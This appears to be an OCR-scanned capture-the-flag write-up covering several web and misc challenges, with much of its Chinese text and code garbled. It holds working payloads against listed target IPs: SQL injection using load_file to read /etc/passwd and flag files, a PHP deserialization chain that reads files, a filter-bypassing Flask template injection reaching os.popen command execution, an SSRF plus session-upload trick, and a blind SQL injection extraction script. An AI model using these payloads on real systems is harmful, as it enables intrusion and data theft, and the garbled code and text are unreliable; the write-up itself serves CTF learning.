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ding~ SQL~ XSS~ Other~

http://183.129.189.60:10005/?query=1

[J Postdata [] Referer [] User Agent [] Cookies Clear All

fa BLEISQLIEA

/?query=mochu*or/**/1=1%23
/?query=mochu"order/**/by/**/3%23
/?query=mochu"union/**/select/**/1,2,3%23

/?query=mochu"union/**/select/**/load_file(0x2f65746321f706173737764),2,3%23
/?query=mochu"union/**/select/**/load_file(0x2f666c61672e747874),2,3%23




ez_serialize

index.php

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET I h2{ D
Jtquery=mochu"union/**/select/**/load_file(0x2f666c61672e747874),2,3% margin-top: 28%;
23HTTP/MA color: #fff;
Host: 183.129.189.60:10005 text-shadow: 0 0 10px;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:87.0) letter-spacing: 1px;
Gecko/20100101 Firefox/87.0 text-align: center;
Accept: }
text/html,application/xhtml +xml,application/xml;q=0.9.image/webp */*:q= </style>
0.8 </head>
Accept-Language: <body>
zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q =0.5 en-US;q=0.3,en;q=0.2 <form action=""method="get">
Accept-Encoding: gzip, deflate <div class="from">
Cannection: close <div class="submit">
Referer: http://183.129.189.60:10005/?query=2 <span class="form_title">User Information Query</span>
Upgrade-Insecure-Requests: 1 <div class="form_input">
<l-- $sql = "SELECT * FROM users WHERE id = "$query’ OR username = \"$query\"";—>
<inputclass="inputs" type="text" name="query" required placehclder="id/username"> N
</div>
<div class="btn_submit">
<input type="submit" class="btn" value="Query">
</div=
</div>
</div>
</form=
</body>
</html=
<h2>
<table border="1" width='600px' cellpadding="0" cellspacing='0" align="center' style="margin-top:
20px; margin-left:
33%'><tr><th>ID</th><th>UserName</th> </tr> <tr><td > DASCTF{352f1504696639a0d71c2d3659
L 1d505b}</td > <td>2</td > </tr></table></h2 > W
v K2



<?php
error_reporting(9);
highlight file(_ FILE_);

class A{
public $class;
public $para;
public $check;
public function _ construct()
{
$this->class
$this->para :
echo new $this->class ($this->para);

}

public function __ wakeup()

{

$this->check new C;
if($this->check->vaild($this->para) $this->check->vaild($this->class)) {
echo new $this->class ($this->para);

}

else

public function __ construct($a)
{

$this->a $a;

echo ( .$this->a);

}
class C{

function vaild($code){
$pattern
if (preg_match($pattern, $code)){
return false;
b
else

return true;

if(isset($_GET[ )H{
unserialize($_GET[ D;

St B FEA KR THEENE, class AP construct() HEATERE TVIIHE, REHETHER CELNSHEETE)
FHEBMLERH R,  wakeup() HVEEBIILT class ¢, RIFWIET $this->para M $this->class ZJGAT T PHESE
2K, Lk, FHBEE. class BEMAL,  construct() &%t $this->a « class C KA FITIE—EBIBEFEHF, PITXE




FIFH PHP#RMEEE (SPL) : https://www.php.net/manual/zh/book.spl.php
PHP R e BEW 1T SCF AL B A B SRR

Class Introduction
DirectoryIterator The Directorylterator class provides a simple interface for viewing the contents of filesystem directories.
FilesystemIterator The Filesystem iterator
GlobIterator lterates through a file system in a similar fashion to glob().
SplFileObject The SplFileObject class offers an object oriented interface for a file.

public $class;
public $para;

public function _ construct(){
$this->class
$this->para

$poc new A();
echo serialize($poc);

?>



https://www.php.net/manual/zh/book.spl.php

if($this—)check—)vai1d($this—>para) &  Fthis-rcheck-»vaild(Fthis->class)) |
echo  new $this-rclass  (Jthis-rpara);

}
elze
die(’bad hacker " J:
}
}
class B
var Ja;
public function _ construct(fa)
{
$this-»a = $a;
echo  (“hello . Jthis-»a);
}
}
class C{
function wvaild(3code) |
gpattern = /LU [@l#[§1%]7 (& ]x =1\ 1700190007
if (preg_match($pattern, $ecode)) |
return  false;
}
elze
return  true;
}
}

if(isset($ GET[ pop’ 1)) {
unserialize($_GET[ pop’ 1);
}
elsel
$a=new A

} 1aMaz1ng_yOu_cOUId find F1Ag hErE

HackBar

@ Load URL http://183.129.189.60:10016/?pop=0:1"A"2:{5:5"class";s:18:"Filesystemlterator”;s:4:"para";s:1 3" variww/ntml";}

g.g Split URL

Execute
|'— [J Post data [] Referer [] User Agent [] Cookies Clear All

laMazlng_y@u_c@Uld_find_F1Ag_hErE &N HF, HENHEXANERTHE




it (Jthis—rcheck-rvalld($this-rpara) && Jthis-rcheck-rvalld{$this-rclass)) |
echo  new $this->class ($this-—>para);

}
else
die(’bad hacker™ );
]
]
class B{
var $a;
public function _ construct($a)
Jthis->a = 3a;
echo  ("hello 7. $this->a);
1
]
class C{
function waild(Fecode) |
fpattern = C/CUlRlgIS18 1 1&l=1= 10 1711 19000
if  (preg_match($pattern, $eode)) |
return false;
}
else
return true,
1
]

if(isset(3_GET[ pop’ 10 {
unserialize(3 GET[ pop’ 1),

1
elzel

$a=new A
1 flag.php

@ Load URL http://183.129.189.60:10016/?pop=0:1"A"2:{s:5"tlass";s:18."Filesystemlterator".s:4:"para".s: 47 "var/www/html1aMaz1ng_yOu_cOUld_find_F1Ag_hErE"}

g Split URL

Execute
| : [ Postdata [] Referer [] User Agent [] Cookies Clear All

public $class;
public $para;
public function __ construct(){
$this->class
$this->para
s

1
J

$poc new A();

echo serialize($poc);
?>




<br relse

<br /¥Enbsp; bbsp dnbep; fibep </ span><span style="color: #0000BB">3a</span><{span style="color: #007700">=newinbs=p:</span>{span style="color: #00DUBB">A</span><span style="color: #0077007>;
<br />

<br /2}</span?

{/span>

{/code><?php $flag="aced3598a34a561715dacfe32a328cic”;

D&EEs N
Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
‘ & Load URL view-source:http //183.129 189.60°10016/2pop=0-1%22A%22-2{5'5 % 22¢1a55%22;5 13 %22SpIFIleObject22:5:4:%22para%22:5 56 %22/varwww/htmi/d aMazing_yOu_cOUld_find_F1Ag_hErEMag php%22:}
gg Split URL
Execute
: O Postdata [ Referer [J User Agent [J Cookies Clear All

baby_flask

Refer: https://blog.csdn.net/rfrder/article/details/115272645

F12 BEFEE R BAL 8

Hi young boy!
Do you like ssti?

blacklist

NI TREHRFSMRBT UL T, BEEAFART. —PPR, KAME A FlaskFISSTEREE KT R X

from flask import Flask

from flask import render_template

from flask import request

from flask import render_template_string

app Flask(__name__ )
@app.route( )

request.args.get(
template

(code)

return render_template_string(template)

if _ name__
app.run()

HARREMET «+. ' ", ALERTUGHERTFR, FIH join EIESR

{%set a=dict(mo=a,chu7=a)|jo

-
—~
~
-
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https://blog.csdn.net/rfrder/article/details/115272645
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Encryption + Encoding~ SQL~ XSS~ Other ~

@ Load URL | http://127.0.0.1:5000/test/?id={%set a=dict(mo=a,chu7=a)|join%}{{a}}

XERAUSGERLRRHKRET T, B —ERHERFSERLESY, fln: _ . [% ZRELERZKFFHIRR, 6
41: lipsum

H Lipsum H %A 3 B 7 5 P L RS R 7 1

{{lipsum|string|list}}

X 183.129.189.60:10014/ Bl 127.0.0.1:5000/test/%id={{lipsun X
« C | © D 127.00.1:5000/test/?id={llipsumlstringllist}} LE DRI + S 4 o® °one fe =
& NEWSCTF J/ BUUCTF & Jarvis O) 8 BMZCTF () Bt @ CTFHub & Google HK By Google Translate Baass
[<,f, ', 'm0, e, g e, T e, T, e, T T e e e, m, L, P s, me, e L, G, 0, 2, DY, T T B 2
>

O OzZEs Desed DEtE NREs O#tmEs Qe ownr B & AEE9Rs 8 wmEsr HackBar Cookie Editor

Encryption v Encoding ~ SQL v XSS -~ Other ~ Contribute now! HackBar v2

@i Load URL | http://127.0.0.1:5000/test/?id={{lipsum|string|list}}

4 split URL
XEATRE, REBRLAEmMPOTERZRF, XEALMER index 75 ARG — M Z/R 0 Firgis, ST & . TLUE

fiattrﬁk%%ﬁi

{%set idx=dict(ind=a,ex=a)|join%}
{%set ff=dict(f=a)|join%}

{{(lipsum|string|list) |attr(idx)(ff)}}



e O === sHe DERsE N

Encryption + Encoding~ SQL ~ XSS~ Other ~

@ Load URL | http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)[join%}
{%set ff=dict(f=a)|join%)}

& split URL {(lipsum|string]list)|attr(idx)(ff)}}

‘ v Execut%;

X E R FHF TR Bl T, MBREIRERNRTET

{%set join%} // FirREF1
{%set join%} // Fhr¥is2
{%set join%} // FHrREF3
{%set join%} // FirRTF4a
{%set join%} // FHRREF5
ii join%} // FirR#F6
join%} // FirREF7

join%} // FhrRHF10

join%} // TFirRHiF11

join%} // FiaR#iF14

join%} // FisRHF15

SRIGHFREUTRIL _, WTLLUET pop B _ getitem_ RIRENFE B FAriIZRF

idx=dict(ind=a,ex=a) |join%}
p=dict(po=a,p=a)|join%}
nn=dict(n=a)|join%}

ii=dict(i=a)|join%}

three=(lipsum|string|list) |attr(idx)(nn)%}

six=(lipsum|string|list)|attr(idx)(ii)%}
{{(lipsum|string|list) |attr(p)(three*six)}}
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Encryption v Encoding~ SQL~ XSS~ Other ~

@ Load URL | http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}
{%set p=dict(po=a,p=a)|join%}

{%set nn=dict(n=a)|join%}

{%set ii=dict(i=a)|join%}

{%set three=(lipsum|string|list)|attr(idx)(nn)%}

{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{{(lipsum|string|list)|attr(p)(three*six)}}

B split URL

»  Execute

ZEMTF: {{(lipsum|string|list).pop(18)}}
ZITRRTZ/E, MALME  globals  + _ builtins__ , XEEBLATLAMER chr

{{lipsum. globals_ [ ].chr(65)}}

T RErET

N O === sHa O s R D e OwE B = W TEESNE

Encryption + Encoding~ SQL v XSS~ Other ~

@ Load URL | http://127.0.0.1:5000/test/?id={{lipsum.__globals__['__builtins__"].chr(65)}}

B split URL



{%set
{{A}}

idx=dict(ind=a,ex=a) |join%}
pp=dict(po=a,p=a)|join%}
ppn=dict(po=a,pen=a) |join%}
gt=dict(ge=a,t=a)|join%}
char=dict(ch=a,r=a)|join%}
so=dict(o=a,s=a)|join%}
red=dict(re=a,ad=a)|join%}
ff=dict(f=a)|join%}

tt=dict(t=a)|join%}

rr=dict(r=a)|join%}

nn=dict(n=a)|join%}

ii=dict(i=a)|join%}
one=(lipsum|string|list) |attr(idx)(ff)%}
five=(lipsum|string|list) |attr(idx)(tt)%}
fourteen=(lipsum|string|list) |attr(idx)(rr)%}

three=(lipsum|string|list) |attr(idx)(nn)%}

six=(lipsum|string|list)|attr(idx)(ii)%}

underscore=(lipsum|string|list) |attr(pp)(three*six)%}
gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)
bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore) |joi
chars=(lipsum|attr(gbls))|attr(gt)(bltns) |attr(gt)(char)%}
A=chars((fourteen-one)*five)%}




127.0.0.1:5000/test/?id={%set % X 127.0.0.1:5000/test/?id={%set% X 127.0.0.1:5000/test/?id={{lipsur % +

&« ¢ @ | @ O 127.00.1:5000/test/?id={%set%20idx=dict{ind=a,ex=a)|join%}{%set%20pp =dict(po=a,p=a)|join%}{%set%20ppn=dict(po=a,pen=i

& NEWSCTF W BUUCTF &% Jarvis O) © BMZCTF (&) WEAHRE @ CTFHub & Google HK a:GoogleTranslale
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Encryption + Encoding~ SQL~ XSS~ Other ~

@l Load URL http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}

{%set ppn=dict(po=a,pen=a)|join%}

{%set gt=dict(ge=a,t=a)|join%}

{%set char=dict(ch=a,r=a)|join%}

{%set so=dict(o=a,s=a)|join%}

{%set red=dict(re=a,ad=a)|join%}

{%set fi=dict(f=a)|join%}

{%set tt=dict(t=a)|join%]}

{%set rr=dict(r=a)|join%}

{%set nn=dict(n=a)|join%}

{%set ii=dict(i=a)|join%}

{%set one=(lipsum|string|list)|attr(idx)(ff)%}

{%set five=(lipsum|string|list)|attr(idx)(tt)%}

{%set fourteen=(lipsum|string|list)|attr(idx)(rr)%!}

{%set three=(lipsum|string|list)|attr(idx)(nn)%}

{%set six=(lipsum|string|list)|attr(idx)(ii)%?}

{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%]}
{%set blins=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set chars=(lipsum]attr(gbls))|attr(gt)(bltns)|attr(gt)(char)%}
{%set A=chars((fourteen-one)*five)%}

{{AD

gg Split URL

» | Execute ‘

lipsum.__globals_ .get



mochu7-pc\administrator

Encryption v  Encoding~ SQL ~v XSS~ Other ~

@ Load URL | http://127.0.0.1:5000/test/?id={{lipsum.__globals__.get('0os').popen('whoami').read()}}

1 split URL

idx=dict(ind=a,ex=a)|join%}
pp=dict(po=a,p=a)|join%}

{%set ppn=dict(po=a,pen=a)|join%}

{%set gt=dict(ge=a,t=a)|join%}

{%set char=dict(ch=a,r=a)|join%}

{%set so=dict(o=a,s=a)|join%}

{%set red=dict(re=a,ad=a)|join%}

{%set nn=dict(n=a)|join%}

{%set ii=dict(i=a)|join%}

{%set three=(lipsum|string|list) |attr(idx)(nn)%}

{%set six=(lipsum|string|list) |attr(idx)(ii)%}

{%set underscore=(lipsum|string|list) |attr(pp)(three*six)%}

{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore) |join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore) |join%}
{%set cmd=dict(whoami=a) |join%}

{{(lipsum|attr(gbls)) |attr(gt)(so) |attr(ppn)(cmd) |attr(red)()}}




127.0.0.1:5000/test/?id={%set% X RRERLIRBI Tt ST e o

&« ¢ @ | O O 127.00.1:5000/test/?id={%set%20idx=dict(ind=a,ex=a)|join%}{%set%20pp=dict(po=a,p=a)|join%}{%set%20ppn=dict{po=a,pen=

& NEWSCTF 'V BUUCTF ©» Jarvis 0) © BMZCTF (& IGhiH5 @ CTFHub G Google HK By Google Translate

mochu7-pc\administrator

w O ===

Encryption -

= Load URL
E}E Split URL

»  Execute

ez_login

index.php

pre DELE NRs (Qesss Que Onr Besw ¥ xEsns B ooes HackBar

Encoding~ SQL~ XSS~ Other ~

http://127.0.0.1:5000/test/?id={%set idx=dict(ind=a,ex=a)|join%}

{%set pp=dict(po=a,p=a)|join%]}

{%set ppn=dict(po=a,pen=a)|join%]}

{%set gt=dict(ge=a,t=a)|join%!}

{%set char=dict(ch=a,r=a)|join%}

{%set so=dict(o=a,s=a)|join%]}

{%set red=dict(re=a,ad=a)|join%}

{%set nn=dict(n=a)|join%]}

{%set ii=dict(i=a)|join%}

{%set three=(lipsum|string|list)|attr(idx)(nn)%}

{%set six=(lipsum|string|list)|attr(idx)(ii)%}

{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%!}

{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscare,dict(builtins=a)|join,underscore,underscore)|join%}
{%set cmd=dict(whoami=a)|join%}
{{(lipsum|attr(gbls))|attr(gt)(so)|attr(ppn)(cmd)|attr(red)()}}



<?php
if(!isset($_SESSION)){
highlight_file(__ FILE_ );
die( )&
}
include(
error_reporting(9);
$url = $ GET[ 1;
if(check _inner_ip($url)){
if($url){
$ch = curl init();
curl setopt($ch, CURLOPT URL, $url);
curl setopt($ch, CURLOPT_RETURNTRANSFER, 9);
curl setopt($ch, CURLOPT HEADER, 9);
curl setopt($ch, CURLOPT FOLLOWLOCATION,1);

$output = curl exec($ch);

$result_info = curl_getinfo($ch);

curl close($ch);




HFXHR#HHEB]—A admin.php

E¥ Windows PowerShell
FS D:%Tools'WebWeb Path Scanerhdirsearch> python . ‘\dirsearch. py

FExtensions: php | HITP method: zet | Threads: 10 | Wordlist size: G046

Frror Log: D:%ToolsWWeb'Web Path Scaner‘dirsearch\logs'\errors-21-04-06 22-14-23, log
Tarzet: http://183. 129, 185, 60:10015/

[22:14:23] Starting:

-» http://183. 129, 189, 60/php/
[22:14:23] 400 - 173B - /%2e%2e/zoogle. com

-» http://183. 129, 189, 60/ css/
-» http://183. 129, 189, 60/imazes/

Task Completed
FS D:\Tools'\Webi\Web_Path Scanerhdirsearch>

PR T RIMABNAIDTE, T A xFr AT, BIRGMTHN %2 F FSSRF M N #8717 %

» 183.129.189.60:10015/admir X

< ©X O /& 183.129.189.60:10015/admin.php

& NEWSCTF v BUUCTF ©o Jarvis ) © BMZCTF (&) KA @ CTFHub & Google HK Bl Google Translate

Only Localhost

https://blog.csdn.net/mochu7 777777

ARG, ERHSSRFAE &S IXA

FE Vththsession , X B FERF PHP_SESSION_UPLOAD PROGRESS AJ#54k session




session.upload_progress #& php>=5.4 ¥iNif. BHIRPHPR bAE#EA BRI — A ThAE, 78 b SXTHBRRER T, PHPEHEITHR
R g, IHKFEREBBALE session 1 (AFHFERE) , BIEWEHPBE VLGN session , PHPHE B3PI session o 1M
H, ZRANBHT session.upload_progress.enabled £ AFFE K]

import requests

r requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode( ))

print(r.text)

VI session J&, FIFISSRFIRYEZ 4T IR 15 18] M admin. php

POST /?url=http://localhost/admin.php HTTP/1.1

Host: 183.129.189.60:10015

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;gq=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=jtg4q3fdfgnckcrd52a6nhf90a

Content-Type: multipart/form-data; boundary 2f3cfb380baba3addbedbab8771e56¢3
Content-Length: 345

2f3cfb380baba3a@dbedba68771e56¢3
Content-Disposition: form-data; name

2f3cfb380baba3a@dbedba68771e56¢3

Content-Disposition: form-data; name ; filename

2f3cfb380baba3a@dbedba68771e56¢3- -



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

POST f?url =http:/localhost/adminphp HTTR/1.1

Host: 183,129.189.60:10013

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4; x64; n.87.0) Gecko/20100107 Firefox/87.0
Accept: text/html.application/xhtml +xml,application/xml,q=0.9,image/webp,*/*q=0.8
Accept-Language: zh-CN,zh,g=0.8,zh-TW,q=0.7,zh-HIK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID =jtgdq3fdfgnckerd52a6nhfe0a

Content-Type: multipart/form-data;

boundary=---------------m-m -~ 2f3cfb380baba3aldbedbab8771e56¢3

Content-Length: 345

————————————————————————————— 2f3cfb380baba3aldbedbad877 1e56c3
Content-Disposition: form-data; name ="PHP_SESSION_UPLOAD _PROGRESS™

machu?
----------------------------- 2f3cfb380baba3aldbedbat8771e56¢3

Content-Disposition: form-data; name ="file"; filename ="mochu7.txt"

mochu?
----------------------------- 2f3cfb380baba3aldbedbab8771e56¢3--

admin.php KX

e

PLi

HTTR/1.1 200 OK

Server: nginx/1.14.2

Date: Tue, 06 Apr 2021 14:47:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/5.6.40
Content-Length: 2110

<IDOCTYPE htmi>

<html>

<head>

<title>Admin Login</title>

<meta name="viewport" content="width=device-width, initial-scale=1">

<script type="application/x-javascript’> addEventListener("load", function() {
setTimeout({hideURLbar, 0); }, false); function hideURLbar({ window.scrollTo(0,1); }
</script>

<meta name="keywords" content="Flat Dark Web Login Form Responsive Templates, Iphone
Widget Template, Smartphone login forms,Login form, Widget Template, Responsive Templates,
alpad 404 Templates, Flat Responsive Templates” />

<link href="css/style.css" rel="stylesheet” type="text/css" />

<l--/yuanma_fOr_eAZy logonzip-->

<l--webfonts--» -—

<link

href="http://fonts.useso.com/css?family=PT +Sans:400,700,400italic,700italic|Oswal d:400,300,700"
rel="stylesheet" type="text/css">

<link href="http://fonts.useso.com/css7family=Exo+2" rel ="stylesheet" type="text/css">
<I--/fwebfonis-->

<script src="http://ajaxuseso.com/ajax/libs/iquery/1.11.0/jquery.minjs"> </script>

</head>

PLs

B! Burp Suite Response Renderer
P P

Login

ht © ez login aha?

admin.php FIEREBEEA —A /yuanma_fer_eAzZy logon.zip, Wil F# 153 self Log3n.php




)5

error_reporting(E_ALL);
$ip = $ SERVER][

H

.$username.

$result = $con->query($sql);
echo $sql;
}catch(Exception $e){

echo $e->getMessage();

1

S

($result->num_rows > © AND $row = $result->fetch assoc() AND $con->close() AND die( )) OR ( ($con->clg
se() AND die( ) D)

f/REHE, ulgifd— Fpayload, # (%23) BEIRZRHY

from urllib.parse import quote

SENARCET)

print(quote(payload))

Xof bE R IX P O 4 SR B AT A W R A AR B

tp%3A//localhost//self_Log3n.php%3Fusername’%3Dmoch 1%2523%26passwo

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render

POST ,‘ HTTP/1.1 200 OK
JSPurl=http%34//localhost//se1f Log3nphp%3Fusernamef%3Dmaochu®27or%201%301%2523%26password % Server: nginx/1.14.2
3Dmachu? HTTP/1.1 Date: Tue, 06 Apr 2021 16:55:18 GMT
Host: 183.129.189.60:10015 Content-Type: text/html; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4, x64; n:87.0) Gecko/20100101 Firefox/87.0 Connection: keep-alive
Accept text/html application/xhtml+xml,application/xml,q=0.9,image/webp,*/*q=08 X-Powered-By: PHP/5.6.40
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7, zh-HK;q=05,en-US;q=0.3,en;q=0.2 Content-Length: 86
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID =jtq4q3fdfanckerd52a6nhfa0a SELECT * FROM “users™ where “username” ='mochu’or 1=1#" and password="mochu?’;
Content-Type: multipart/form-data; boundary=-------- 127275530 correct?

Content-Length: 221

---------- 127275530
Content-Disposition: form-data; name ="PHP_SESSION_UPLOAD_PROGRESS"

---------- 127275530
Content-Disposition: form-data; name ="file"; filename="mochu? txt"

__________ 127275530--

/?url=http%3A//localhost//self Log3n.php%3Fusername%3Dmochu%27or 2523%26password%3Dmochu?



Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

POST
SPurl=http%3A//localhost//se1f_Log3nphp%3Fusername®%30Dmochu® 27or%201%302%2523% 26password%
3Dmochu? HTTR/1.1

Host: 183.129.189.60:10015

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; n87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml +xml,application/xml;g=0.9,image/webp,*/*q=0.8
Accept-Language: zh-CN,zh;q=0.8zh-TW,q=07,zh-HK;q=0.5,en-U5;g=0.3,en,q=0.2
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=jtgdq3fdfgnckerd52abnhféla

Content-Type: multipart/form-data; boundary=-------- 1791288576

Content-Length: 224

---------- 1791288576
Content-Dispaosition: form-data; name ="PHP_SESSION_UPLOAD_PROGRESS"

---------- 1791288576
Content-Disposition: form-data; name="file"; filename="mochu7.bc"

—————————— 1791288576

H BB

from urllib.parse import quote
import requests

import time

for s in asc_str:
payload
(1,0rd(s))

url = ip + quote(payload)
r requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)

time.sleep(0.2)

if in r.text:
flag s
print(flag

else:
PERS

Payload fl1 25 #] )15 B

T

HTTP/1.1 200 OK

Server: nginx/1.14.2

Date: Tue, 06 Apr 2021 16:57:04 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

X-Powered-By: PHP/5.6.40
Content-Length: 104

SELECT * FROM “users™ where “username’ ="'mochu’or 1=2#" and password="mochu?’;
Wrong username or password




payload ((select user())
.format(1l,ord(s))

user(): root@localhost

payload ((select group _concat(schema_name) from
information_schema.schemata),{},1)) .format(1l,ord(s))

databases: ctf,information_schema,mysql,performance_schema,test

payload ((select group concat(table name) from i
nformation_schema.tables where table schema=database()) .format(1l,ord(s))

Table in_ctf: secret,users

payload ((select group_concat(column_name) from
information_schema.columns where table_name=\'secret\'),{},1)) .format(1l,ord(s))

Column_in_secret: flag

((select flag from ctf.secret),{},1))
.format(1l,ord(s))

EX PowerShell X | E¥ PowerShell

) File Edit Selection

@ codepy X

C: > Users > Administrator > Downloads > ‘e code.py > (@] |

n urllib.parse import quote
requests
time
flag{3f2f5a6 : —— 5 a 7 . ~I 3
flag{3f2f5a67 asc_str = "0123456789abcdefghijklmnopgrstuvixy zABCDEFGHIIKLMNOPQRSTUVMXYZ !\ "#$%&" () ¥+, - . /= ;<=>2@[\]*_~{|}~
flag{32f5a678 mydata - {'PHP_SESSION_UPLOAD_PROGRESS': 'mgchu?'}
flag{3f2f5a6706 e = o T
flag{3f2f5a67062 mycookie - { PHPSESSID:jtq4q3fdfgnckerds2abnhfoea’ }
flag{3f2f5a67062d ip - 'http://183.129.189.60:16015/2url-"
flag{3f2f5a67062d3
flag{3f2f5a67062d3F
flag{3f2f5a67062d3ff B 1,50):
flag{3f2f5a67062d3fF5
flag{3f2f5a67062d3FF56
flag{3f2f5a67062d3fF56c
flag{3f2f5a67062d3ff56c6 _ I _— .
flag{325267062d3¢F56c6a T "E?uf”i' Ut “nudate, = smuceokis)
flag{3f2f5a6706203FF56c6ac L2
flag{3f2f5a67062d3fF56c6ace 37 SETFTERs” (i PalE:
flag{3f2f5a67862d3FF56c6acel
flag{3f2f5a67062d3ff56c6acell
flag{3f25a67062d3ff56c6aceuls
flag{3f25267062d3FF56c6aceu15d
flag{3f2f5a67062d3ff56c6acedl5do
flag{3f2f5a67062d3ff56c6acedl5dol
flag{3f2f5a67062d3fF56c6acel15de1d
flag{3f2f5a67062d3ff56c6aced15d01d3
flag{3f2f5a67062d3ff56c6aceu15do1d3f
Flag{3f2f5a67062d3fF56c6ace 15d81d3F8
flag{3f2f5a67062d3f56c6aceyl5do1d3fa}
PS C:\Users\Administrator\Downloads>

str:
payload = 'http://localhost//self Log3n.php?username=mochu\'or ascii{mid((select flag from ctf.secret),{},1))={}%23password-mochu?
url = ip + g ayload)
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nint deCompre
nint dellncomp
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TE > EESpnglSHIE
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root@mochu?7
File: hint.png (73727 bytes)
chunk IHDR at offset 0x0000c, length 13
1654 x 485 image, 32-bit RGB+alpha, non-interlaced
chunk IDAT at offset 0x00025, length 8192
zlib: deflated, 32K window, default compression
chunk IDAT at offset 0x02031, length 8192
chunk IDAT at offset 0x0403d, length 8192
chunk IDAT at offset 0x06049, length 2308
chunk IDAT at offset 0x06959, length 8192
chunk IDAT at offset ©x08965, length 8192
chunk IDAT at offset ©x0a971, length 8192
chunk IDAT at offset 0x0c97d, length 8192
chunk IDAT at offset 0x0e989, length 8192
chunk IDAT at offset 0x10995, length 5718
chunk IEND at offset Ox11ff7, length ©

No errors detected in hint.png (12 chunks, 97.7% compression).

KRB IDAT Chunk K, JEHEXIFWHEH T, ATLBNXELFEKE R, TWEH chunk ) length —FE, B —ik B IF R 5K
B, SR)JE¥ 54— 5KH IDAT Chunk BINIX K hint.png , ATUAE BN EEM chunk F145 B 43P EH RN _E pngsk ATHDR 45 5
sh—skpng & H

you can guess out where is
flag with 89504E

BRHHIIRR outguess , FH HELR: 890504E

root@kali /home/mochu7/Desktop % outguess -k -r flag.jpg flag.txt
Reading flag.jpg....
Extracting usable bits: 147535 bits

Steg retrieve: seed: 232, len: 185

root@kali /home/mochu7/Desktop % cat flag.txt

MUY4Q]jAAMDg5MTgwNzg1RTAWMDM2NjZDNjE2NzJFNzQ30DcOMDAGQKNCNDkOQOF GMzZCMDMwMZzQORDM1IND1CNjRDMzMzZNTMzMZRCMTQ4AMZzVCNzQ4
NEEzNTMzNDgOOTMyMzUBQjRFMzUzMTQ5MzFCNUFDRTVFMjAyMDAGNjhCMjIzRjI4MDAWMDAW

base64 fi##Y



1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5

ACES5E20200468B223F28000000

gZip 7N ik ST R

8Z1p

HEER, BEREReS

gZipE—FIIHETL, B BTN ERETIREE RS AR, BREFEEE ean-loup GaillyiMark AdlergliZesy, =RFBUnixFEEPERRcompressEFENSSREFENZ, #HONUES ( "g” =8 7
GNU" ) . 0.1F1992510R 31 BERaFFET s, ml.0EE1993428 5%,

gZpEREIREERT L EARE RS, EEWebinil, EUEEETL (EinEEET) HERFNERNE.

WE [hide]

4 wRLIESE

£iE

LI 18

QZipETDEFLATES E, BEERlZTTAHUMmansEAES. DEFLATESERALTWAIS S Sfl @RI s, R s umifelT compressiIS e AL,
“ gzip” EBERRTERgzipIrisiEl, 8l

o MOTTRES| ErEa tERmT (1f 8 ) , EESE (08 FAFDEFLATE) |\ STERLRS, ATDANEE, ERFSHEEEAD,

. RS AENTEEA L, BEATEE, TATE, T TEUBRSERECRC- 2R s,

« S EDEFLATEEREHEEEM

32
» —EFTIENE, 2ECRC-22ERMSEarEEansuEnEs, 22 | M

o%o AEEVHERTEESS MEsREEE—R (ERERs RS —rrmnseEEmes) | 2 cipEssaTareiwe. PErssEsssns Tt Eans
Lo =D B ED B gy (wmsterball) wonem, TAEEEOp RS, BENERSBRAAY BE. tar. e28, tez.

TEHgripSZIPEEEIlRE, FEGEADEFLATE, ZIPRIALIESESEEHESNER MEFECHEs, EEHEFEREEN R EerballEE, EreemERarFEreirlA
MHZEAIAS (SEEE) .

Pythonfaj B 4b 3

from binascii import *

hexdata

with open( ) ) as f:
f.write(unhexlify(hexdata))




flag.gz - Bandizip 6.27 — [m} >
IHHF REE) BRI EWO) WAV EEHH)

= flag.gz £ EEEAN Bl 28 BERAARICRG EXEH
= flag.o 50 40 ErATES 3f228b46  2020/3/23 17:25:37
7 flag.txt - iD= — m] b

MHF REE BEo) BEEV) BEH)
flag{0815e4c9f56148e78be60db56ce44d59}

E11. E15 100%  Unix (LF) UTF-8

